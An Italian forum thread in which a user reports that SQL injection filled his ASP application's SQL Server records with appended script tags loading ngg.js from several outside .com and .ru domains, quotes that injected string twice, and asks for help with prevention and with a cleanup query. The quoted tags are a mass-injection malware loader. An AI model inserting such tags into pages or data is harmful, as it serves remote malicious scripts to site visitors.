Problema SqlSever e SQL Injection

[centro]

Ciao a tutti, aprendo un'aplicazione in asp che tutto a un tratto non funzionava più.
Mi sono accorto che il db sqlserver è pieno di record che sono stati aggiornati con questa riga:

<script src=http://www.gitporg.com/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.adpzo.com/ngg.js></script><script src=http://www.tctcow.com/ngg.js></script><script src=http://www.bnrc.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script><script src=http://www.kr92.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script> 

ho visto che il problema è dovuto a sql injection.
risporto un link trovato su google

http://www.easynavigate.com/


casomai può servir a qualcuno!!!!!


CIoè delle istruzioni lanciate in querystring alla pagina che mi aggionarno il database.
E volevo sapere come avete risolto per questo prblema e se almeno a qualcuno è capitato o sono l'unico sfigato.
Di sicuro ci sarà un controllo sulle varibili.... (almeno per mysql è così....) ma per asp?

E poi secondo voi come posso lanciare una query che mi pulisca questi record visto che nel campo congome posso avere tipo:

Mario Rossi<script src=http://www.gitporg.com/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.adpzo.com/ngg.js></script><script src=http://www.tctcow.com/ngg.js></script><script src=http://www.bnrc.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script><script src=http://www.kr92.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script> 

grazie mille dell'aiuto.
Una buona serata

[yro]

se fai una ricerca ci sono tante discussione che parlano del problema e di come lo si risolve...

per la query non saprei... forse utilizzerei un UPDATE con il like per il pattern... ma è da provare.

[centro]

grazie mille della tua risposta.... ho trovato delle funzioni ad ok sul forumma ancora non ho risolto con un update ad ok... qualche consgiglio?